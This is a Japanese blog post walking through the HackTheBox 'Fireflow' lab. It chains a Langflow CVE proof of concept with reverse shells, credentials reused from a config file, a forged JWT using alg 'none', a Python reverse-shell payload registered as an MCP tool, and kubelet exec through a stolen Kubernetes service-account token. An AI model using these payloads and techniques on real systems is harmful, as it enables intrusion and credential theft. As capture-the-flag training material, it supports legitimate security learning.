1
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?

【HackTheBox】Fireflow:Wriup

1
Posted at

概要

HackTheBox「Fireflow」のWriteupです。

User Flag

ポートスキャンを実行します。

$ nmap -Pn -sCV -T4 -p- 10.129.20.180 -oN nmap_result
PORT    STATE SERVICE  VERSION
22/tcp  open  ssh      OpenSSH 9.6p1 Ubuntu 3ubuntu13.16 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 0c:4b:d2:76:ab:10:06:92:05:dc:f7:55:94:7f:18:df (ECDSA)
|_  256 2d:6d:4a:4c:ee:2e:11:b6:c8:90:e6:83:e9:df:38:b0 (ED25519)
443/tcp open  ssl/http nginx
|_ssl-date: TLS randomness does not represent time
|_http-title: Did not follow redirect to https://fireflow.htb/
| ssl-cert: Subject: commonName=fireflow.htb/organizationName=Task Force Nightfall/countryName=US
| Subject Alternative Name: DNS:fireflow.htb, DNS:*.fireflow.htb
| Not valid before: 2026-04-14T16:35:31
|_Not valid after:  2028-07-17T16:35:31
| tls-alpn: 
|   http/1.1
|   http/1.0
|_  http/0.9

ポートの稼働状況が分かりました。

ポート サービス バージョン
22 ssh OpenSSH 9.6p1
443 https nginx

fireflow.htbにアクセスできました。

image.png

サブドメイン列挙をします。

$ ffuf -c -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt -H "Host: FUZZ.fireflow.htb" -u https://fireflow.htb -fs 162

flow                    [Status: 200, Size: 1142, Words: 132, Lines: 25, Duration: 124ms]

サブドメインにもアクセスできました。

image.png

サブドメインのディレクトリスキャンをします。

$ dirsearch -u https://flow.fireflow.htb
[14:32:46] 200 - 1007B  - /docs                                             
[14:32:51] 200 -    6KB - /favicon.ico                                      
[14:32:56] 200 -   15B  - /health                                           
[14:33:09] 403 -   51B  - /logs                                             
[14:33:11] 200 -  768B  - /manifest.json                                    
[14:33:18] 200 -  142KB - /openapi.json                                     
[14:33:30] 200 -  889B  - /redoc

/manifest.jsonを確認しました。
Langflowを使用していると分かりました。

image.png

脆弱性を検索すると、cve-2026-33017がヒットしました。

POCは以下リポジトリを使用します。

POCを実行します。

$ python exploit.py --url https://flow.fireflow.htb/ --flow-id 7d84d636-af65-42e4-ac38-26e867052c25 --lhost 10.10.17.186 --lport 1234

リバースシェルを張れました。

$ nc -lvnp 1234                                       
listening on [any] 1234 ...
connect to [10.10.17.186] from (UNKNOWN) [10.129.20.180] 42796
bash: cannot set terminal process group (1491): Inappropriate ioctl for device
bash: no job control in this shell
www-data@fireflow:/var/lib/langflow$ id
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)

TTYの設定をします。

$ python3 -c "import pty;pty.spawn('/bin/bash')"

langflowの設定ファイルを確認します。
スーパーユーザのパスワードを入手しました。

www-data@fireflow:/etc/langflow$ cat .env
cat .env
LANGFLOW_AUTO_LOGIN=False
LANGFLOW_SUPERUSER=langflow
LANGFLOW_SUPERUSER_PASSWORD=n1ghtm4r3_b4_n1ghtf4ll
LANGFLOW_SECRET_KEY=XgDCYma6JZzT3XXyePTbr4vgWrrZ4Vzz-PCQ4PXfKgE
LANGFLOW_CONFIG_DIR=/var/lib/langflow
LANGFLOW_LOG_LEVEL=warning
LANGFLOW_NEW_USER_IS_ACTIVE=False
LANGFLOW_CORS_ORIGINS=https://flow.fireflow.htb,https://fireflow.htb

Username:nightfall,Password:n1ghtm4r3_b4_n1ghtf4llでSSH接続に成功しました。

$ ssh nightfall@fireflow.htb
nightfall@fireflow:~$

ユーザフラグを入手できました。

$ cat user.txt 
3db82929909680fbf3ea88030653e4d3

Root Flag

.mcp/config.jsonを確認すると、MCPサーバの設定を確認できました。

nightfall@fireflow:~$ cat .mcp/config.json 
{
  "server": "http://10.129.20.180:30080",
  "status_endpoint": "/api/v1/version",
  "user": "langflow-bot",
  "password": "Langfl0w@mcp2026!"
}

SSHでポートフォワーディングをします。

$ ssh -L 30080:127.0.0.1:30080 nightfall@fireflow.htb

/api/v1/versionにアクセスします。
APIエンドポイント、JWT認証が使用されておりアルゴリズムnoneが使用できることも分かりました。

$ curl -s http://10.129.20.180:30080/api/v1/version | python3 -m json.tool
{
    "service": "MCP AI Tool Registry",
    "version": "0.1.0",
    "auth": {
        "type": "JWT",
        "header": "Authorization: Bearer <token>",
        "supported_algorithms": [
            "HS256",
            "none"
        ]
    },
    "docs": "/docs",
    "endpoints": [
        "POST /mcp                        [MCP JSON-RPC 2.0]",
        "POST /api/v1/auth",
        "GET  /api/v1/tools",
        "POST /api/v1/tools               [admin]"
    ]
}

/docsにアクセスするとSwaggerが用意されています。

image.png

/api/v1/authにアクセスし、JWTを発行します。

$ curl -X POST -s http://10.129.20.180:30080/api/v1/auth -H 'Content-Type: application/json' -d '{"username":"langflow-bot","password":"Langfl0w@mcp2026!"}' | python3 -m json.tool
{
    "access_token": "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJsYW5nZmxvdy1ib3QiLCJyb2xlIjoidXNlciJ9.RenGdHutrKPCOWjwYSJex8C_uMSmy7I8AMkhmTwf9Ps",
    "token_type": "bearer"
}

JWTをデコードし、アルゴリズムをnoneに、roleをadminに変更したJWTを使用します。

image.png

/api/v1/toolsを使用し、実行コマンドを登録します。

$ curl -X POST -s http://10.129.20.180:30080/api/v1/tools -H 'Content-Type: application/json' -H "Authorization: Bearer eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJzdWIiOiJsYW5nZmxvdy1ib3QiLCJyb2xlIjoiYWRtaW4ifQ." -d '{"name": "shell","description": "shell","inputSchema": {"additionalProp1": {}},"code": "import socket,os,pty\npid=os.fork()\nif pid>0:\n import sys;sys.exit(0)\nos.setsid()\npid=os.fork()\nif pid>0:\n import sys;sys.exit(0)\ns=socket.socket()\ns.connect((\"10.10.17.186\",9001))\n[os.dup2(s.fileno(),i) for i in(0,1,2)]\npty.spawn(\"/bin/sh\")"}'
{"status":"registered","name":"shell"}

MCPサーバとの通信はJSON-RPCを使用します。

$ curl -X POST http://10.129.20.180:30080/mcp -H 'Cmcp application/json' -H "Authorization: Bearer eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJzdWIiOiJsYW5nZmxvdy1ib3QiLCJyb2xlIjoiYWRtaW4ifQ." -d '{"jsonrpc":"2.0","id":4,"method":"tools/call","params":{"name":"shell","arguments":{}}}'
{"jsonrpc":"2.0","id":4,"result":{"content":[{"type":"text","text":""}],"isError":false}}

登録したコマンドを呼び出すとリバースシェルを取得できました。

$ nc -lvnp 9001
listening on [any] 9001 ...
connect to [10.10.17.186] from (UNKNOWN) [10.129.20.180] 55406
$ id
id
uid=1000(mcp) gid=1000(mcp) groups=1000(mcp)

ディレクトリ構成などからkubernetes環境にいることが分かります。

$ pwd
pwd
/run/secrets/kubernetes.io/serviceaccount
$ ls -la
ls -la
total 4
drwxrwxrwt 3 root root  140 Sep 19 21:13 .
drwxr-xr-x 3 root root 4096 Sep 19 17:58 ..
drwxr-xr-x 2 root root  100 Sep 19 21:13 ..2026_09_19_21_13_11.1624109364
lrwxrwxrwx 1 root root   32 Sep 19 21:13 ..data -> ..2026_09_19_21_13_11.1624109364
lrwxrwxrwx 1 root root   13 Sep 19 17:57 ca.crt -> ..data/ca.crt
lrwxrwxrwx 1 root root   16 Sep 19 17:57 namespace -> ..data/namespace
lrwxrwxrwx 1 root root   12 Sep 19 17:57 token -> ..data/token

tokenから認証トークンを取得出来ました。

$ cat token                       
eyJhbGciOiJSUzI1NiIsImtpZCI6ImFQRTZ5R3JrSUpadmdid19HcHBTRTBYUFJZWUxqeGcxUHJIaFJjTEVSdm8ifQ.eyJhdWQiOlsiaHR0cHM6Ly9rdWJlcm5ldGVzLmRlZmF1bHQuc3ZjLmNsdXN0ZXIubG9jYWwiLCJrM3MiXSwiZXhwIjoxODIxNDE3NDg2LCJpYXQiOjE3ODk4ODE0ODYsImlzcyI6Imh0dHBzOi8va3ViZXJuZXRlcy5kZWZhdWx0LnN2Yy5jbHVzdGVyLmxvY2FsIiwianRpIjoiZDg5OWRlNmYtMDllYS00ODY5LThkNzYtNDA3MDhkOGU0ZWE3Iiwia3ViZXJuZXRlcy5pbyI6eyJuYW1lc3BhY2UiOiJkZWZhdWx0Iiwibm9kZSI6eyJuYW1lIjoiZmlyZWZsb3ciLCJ1aWQiOiI4NzI5MTU4OC0wMTc4LTRlNDItYTk5OC00MWE1MmZhNzNiOGUifSwicG9kIjp7Im5hbWUiOiJtY3Atc2VydmVyLTU0NDY0Y2I0NzUtMjl6dGYiLCJ1aWQiOiI3MDJhZmViYi00ZjUxLTRlZDUtYWE5OC1hYjZiMjU1M2E3MjgifSwic2VydmljZWFjY291bnQiOnsibmFtZSI6Im1jcC1zYSIsInVpZCI6ImE1MzRmNTUxLWIyYjEtNGU2Ni1iZGE1LWU5YjVlMmE1NjAyYyJ9LCJ3YXJuYWZ0ZXIiOjE3ODk4ODUwOTN9LCJuYmYiOjE3ODk4ODE0ODYsInN1YiI6InN5c3RlbTpzZXJ2aWNlYWNjb3VudDpkZWZhdWx0Om1jcC1zYSJ9.dCsMcRC9dTNMVETt21loTsnrdVHsUzvN-ld3mH3oqqfHfrrfk4Mk-QVtvE6OJRWdmMxttxqMqbMtezgcg1S0TRCNbByqIsoX9ss5whCKvCpSwvSmMAs3D0tpghI7Jk3rMCPeoNpkBTUPSnR_JThsjcfltMkd0qRVvrnCztV1q_mMxhR-fnmtA0hXWyaBbw_nKRizDLIhwfmGgSndsEiUjcH8CzMii6rAf3oZPv35sec3vcSBoKB6FXIVp-mEFekUXatQqxMNe9nEJU5tXbMFieqyjAZ474rILKIGxZuapmJ7S_PGjwK0m-4yn5yaUlw4Yi22XMRDDW2ZHbMGonfODg

環境変数を確認することで、MCPサーバやKubernetesサーバなどのIPとポートが分かりました。

$ env                     
KUBERNETES_SERVICE_PORT_HTTPS=443
PYTHON_SHA256=272179ddd9a2e41a0fc8e42e33dfbdca0b3711aa5abf372d3f2d51543d09b625
KUBERNETES_SERVICE_PORT=443
HOSTNAME=mcp-server-54464cb475-29ztf
PYTHON_VERSION=3.11.15
PWD=/run/secrets/kubernetes.io/serviceaccount
MCP_SERVER_SERVICE_HOST=10.43.250.195
MCP_SERVER_SERVICE_PORT=8080
HOME=/home/mcp
MCP_SERVER_PORT_8080_TCP_PROTO=tcp
LANG=C.UTF-8
KUBERNETES_PORT_443_TCP=tcp://10.43.0.1:443
LS_COLORS=
GPG_KEY=A035C8C19219BA821ECEA86B64E628F8D684696D
MCP_SERVER_PORT_8080_TCP_PORT=8080
MCP_SERVER_PORT_8080_TCP_ADDR=10.43.250.195
SHLVL=1
MCP_SERVER_PORT=tcp://10.43.250.195:8080
KUBERNETES_PORT_443_TCP_PROTO=tcp
MCP_SERVER_SERVICE_PORT_HTTP=8080
KUBERNETES_PORT_443_TCP_ADDR=10.43.0.1
MCP_SERVER_PORT_8080_TCP=tcp://10.43.250.195:8080
KUBERNETES_SERVICE_HOST=10.43.0.1
KUBERNETES_PORT=tcp://10.43.0.1:443
KUBERNETES_PORT_443_TCP_PORT=443
PATH=/usr/local/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
_=/usr/bin/env
OLDPWD=/run/secrets/kubernetes.io

アカウントに紐づけられている権限を確認します。

$ curl -sk -X POST "https://10.43.0.1:443/apis/authorization.k8s.io/v1/selfsubjectrulesreviews" \
-H "Authorization: Bearer $(cat token)" \
-H "Content-Type: application/json" \
-d '{"apiVersion":"authorization.k8s.io/v1","kind":"SelfSubjectRulesReview","spec":{"namespace":"default"}}'

{
  "kind": "SelfSubjectRulesReview",
  "apiVersion": "authorization.k8s.io/v1",
  "metadata": {},
  "spec": {},
  "status": {
    "resourceRules": [
      {
        "verbs": [
          "get"
        ],
        "apiGroups": [
          ""
        ],
        "resources": [
          "nodes/proxy"
        ]
      },
      {
        "verbs": [
          "create"
        ],
        "apiGroups": [
          "authorization.k8s.io"
        ],
        "resources": [
          "selfsubjectaccessreviews",
          "selfsubjectrulesreviews"
        ]
      },
      {
        "verbs": [
          "create"
        ],
        "apiGroups": [
          "authentication.k8s.io"
        ],
        "resources": [
          "selfsubjectreviews"
        ]
      }
    ],
    "nonResourceRules": [
      {
        "verbs": [
          "get"
        ],
        "nonResourceURLs": [
          "/.well-known/openid-configuration",
          "/.well-known/openid-configuration/",
          "/openid/v1/jwks",
          "/openid/v1/jwks/"
        ]
      },
      {
        "verbs": [
          "get"
        ],
        "nonResourceURLs": [
          "/api",
          "/api/*",
          "/apis",
          "/apis/*",
          "/healthz",
          "/livez",
          "/openapi",
          "/openapi/*",
          "/readyz",
          "/version",
          "/version/"
        ]
      },
      {
        "verbs": [
          "get"
        ],
        "nonResourceURLs": [
          "/healthz",
          "/livez",
          "/readyz",
          "/version",
          "/version/"
        ]
      }
    ],
    "incomplete": false
  }
}

nodes/proxyに対してGETリクエストの権限があると分かりました。
この権限があると各ノードの管理エージェントへ、GET リクエストを送れます。
それにより、管理エージェントが持っている内部情報を覗き見ることが可能になります。

{
  "verbs": ["get"],
  "apiGroups": [""],
  "resources": ["nodes/proxy"]
}

エクスプロイトに必要なnamespace,pod名,コンテナ名を/prodsエンドポイントから収集します。

$ curl -sk -X GET "https://10.129.20.202:10250/pods" -H "Authorization: Bearer $TOKEN" \
  | tr -d ' \n\r' \
  | sed 's/"metadata":{/\n/g' \
  | grep '"privileged":true' \
  | grep -oP '^.*?"spec":{' \
  | grep -oP '"(name|namespace)":"\K[^"]+' \
  | awk 'NR==1{print "NE_POD       = " $0} NR==2{print "NE_NS        = " $0} NR==3{print "NE_CNT       = " $0}'

NE_POD       = prometheus-prometheus-node-exporter-nmntq
NE_NS        = monitoring
NE_CNT       = prometheus-prometheus-node-exporter

技術ブログにあるような、以下実行コマンドをpythonで実行します。

websocat --insecure \
  --header "Authorization: Bearer $TOKEN" \
  --protocol v4.channel.k8s.io \
  "wss://$NODE_IP:10250/exec/default/nginx/nginx?output=1&error=1&command=id"
exploit.py
#!/usr/bin/env python3
import asyncio, ssl, sys, websockets
NODE = "10.129.20.202"
NE_NS = "monitoring"
NE_POD = "prometheus-prometheus-node-exporter-nmntq"
NE_CNT = "node-exporter"
TOKEN = open('/var/run/secrets/kubernetes.io/serviceaccount/token').read().strip()
COMMAND = sys.argv[1] if len(sys.argv) > 1 else 'id'

async def ws_exec(cmd_parts):
    ctx = ssl.create_default_context()
    ctx.check_hostname = False
    ctx.verify_mode = ssl.CERT_NONE
    args = "&".join(f"command={part}" for part in cmd_parts)
    url = (f"wss://{NODE}:10250/exec/{NE_NS}/{NE_POD}/{NE_CNT}"
    f"?output=1&error=1&{args}")
    async with websockets.connect(url, ssl=ctx,additional_headers={"Authorization": f"Bearer {TOKEN}"},subprotocols=["v4.channel.k8s.io"],open_timeout=10) as ws:
        try:
            while True:
                data = await asyncio.wait_for(ws.recv(), timeout=5)
                if isinstance(data, bytes) and len(data) > 1:
                    sys.stdout.write(data[1:].decode("utf-8", errors="replace"))
                    sys.stdout.flush()
        except (asyncio.TimeoutError, websockets.exceptions.ConnectionClosed):
            pass
asyncio.run(ws_exec(COMMAND.split()))

ルートフラグを入手できました。

$ python3 exploit.py "cat /host/root/root/root.txt"
794737507d945caa1af01280b727f84c
1
0
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
1
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?